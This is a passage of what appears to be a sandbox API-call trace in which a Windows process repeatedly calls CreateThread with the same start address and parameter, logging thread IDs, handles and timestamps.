0x490 [0227.102] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x1134) returned 0x494 [0227.103] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x1138) returned 0x498 [0227.103] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x113c) returned 0x49c [0227.103] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x1140) returned 0x4a0 [0227.104] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x1144) returned 0x4a4 [0227.104] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x1148) returned 0x4a8 [0227.105] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x114c) returned 0x4ac [0227.105] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x1150) returned 0x4b0 [0227.105] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x1154) returned 0x4b4 [0227.106] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x1158) returned 0x4b8 [0227.106] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x115c) returned 0x4bc [0227.106] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x1160) returned 0x4c0 [0227.273] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x11b4) returned 0x4c4 [0227.274] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x11b8) returned 0x4c8 [0227.274] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x11bc) returned 0x4cc [0227.274] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x11c0) returned 0x4d0 [0227.275] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x11c4) returned 0x4d4 [0227.275] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x11c8) returned 0x4d8 [0227.275] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x11cc) returned 0x4dc [0227.276] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x11d0) returned 0x4e0 [0227.276] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x11d4) returned 0x4e4 [0227.276] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x11d8) returned 0x4e8 [0227.277] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x11dc) returned 0x4ec [0227.277] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x11e0) returned 0x4f0 [0227.277] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x11e4) returned 0x4f4 [0227.278] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x11e8) returned 0x4f8 [0227.278] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x11ec) returned 0x4fc [0227.278] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x11f0) returned 0x500 [0227.302] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x11f4) returned 0x504 [0227.302] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x11f8) returned 0x508 [0227.302] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x11fc) returned 0x50c [0227.303] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x1200) returned 0x510 [0227.430] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x1254) returned 0x514 [0227.431] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x1258) returned 0x518 [0227.431] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x125c) returned 0x51c [0227.431] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x1260) returned 0x520 [0227.432] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x1264) returned 0x524 [0227.432] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x1268) returned 0x528 [0227.432] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x126c) returned 0x52c [0227.433] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x1270) returned 0x530 [0227.433] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x1274) returned 0x534 [0227.433] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x1278) returned 0x538 [0227.434] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x127c) returned 0x53c [0227.434] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x1280) returned 0x540 [0227.439] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x1284) returned 0x544 [0227.439] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x1288) returned 0x548 [0227.440] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x128c) returned 0x54c [0227.440] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x1290) returned 0x550 [0227.440] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x1294) returned 0x554 [0227.441] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x1298) returned 0x558 [0227.441] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x129c) returned 0x55c [0227.442] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x12a0) returned 0x560 [0227.552] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x12f4) returned 0x564 [0227.552] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x12f8) returned 0x568 [0227.553] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x12fc) returned 0x56c [0227.553] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x1300) returned 0x570 [0227.553] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x1304) returned 0x574 [0227.554] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x1308) returned 0x578 [0227.554] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x130c) returned 0x57c [0227.554] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x1310) returned 0x580 [0227.555] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x1314) returned 0x584 [0227.555] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x1318) returned 0x588 [0227.555] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x131c) returned 0x58c [0227.556] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x1320) returned 0x590 [0227.556] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x1324) returned 0x594 [0227.557] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x1328) returned 0x598 [0227.557] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x132c) returned 0x59c [0227.558] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x1330) returned 0x5a0 [0227.558] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x1334) returned 0x5a4 [0227.559] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x1338) returned 0x5a8 [0227.559] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x133c) returned 0x5ac [0227.559] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x1340) returned 0x5b0 [0227.677] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x1394) returned 0x5b4 [0227.677] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x1398) returned 0x5b8 [0227.678] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x139c) returned 0x5bc [0227.678] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x13a0) returned 0x5c0 [0227.679] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x13a4) returned 0x5c4 [0227.679] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x13a8) returned 0x5c8 [0227.680] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x13ac) returned 0x5cc [0227.680] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x13b0) returned 0x5d0 [0227.680] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x13b4) returned 0x5d4 [0227.681] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x13b8) returned 0x5d8 [0227.681] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x13bc) returned 0x5dc [0227.682] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x13c0) returned 0x5e0 [0227.682] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x13c4) returned 0x5e4 [0227.682] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x13c8) returned 0x5e8 [0227.683] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x13cc) returned 0x5ec [0227.683] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x13d0) returned 0x5f0 [0227.684] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x13d4) returned 0x5f4 [0227.684] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x13d8) returned 0x5f8 [0227.685] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x13dc) returned 0x5fc [0227.685] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x13e0) returned 0x600 [0227.802] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x1420) returned 0x604 [0227.802] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x1424) returned 0x608 [0227.802] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x1428) returned 0x60c [0227.803] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x142c) returned 0x610 [0227.803] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x1430) returned 0x614 [0227.804] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x1434) returned 0x618 [0227.804] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x1438) returned 0x61c [0227.804] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x143c) returned 0x620 [0227.805] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x1440) returned 0x624 [0227.805] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x1444) returned 0x628 [0227.806] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x1448) returned 0x62c [0227.806] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x144c) returned 0x630 [0227.807] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x1450) returned 0x634 [0227.807] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x1454) returned 0x638 [0227.807] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x1458) returned 0x63c [0227.808] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x145c) returned 0x640 [0227.808] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x1460) returned 0x644 [0227.809] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x1464) returned 0x648 [0227.809] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x1468) returned 0x64c [0227.809] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x146c) returned 0x650 [0227.931] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x14c0) returned 0x654 [0227.932] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x14c4) returned 0x658 [0227.932] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x14c8) returned 0x65c [0227.934] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x14cc) returned 0x660 [0227.935] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x14d0) returned 0x664 [0227.936] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x14d4) returned 0x668 [0227.936] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x14d8) returned 0x66c [0227.936] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x14dc) returned 0x670 [0227.937] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x14e0) returned 0x674 [0227.937] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: 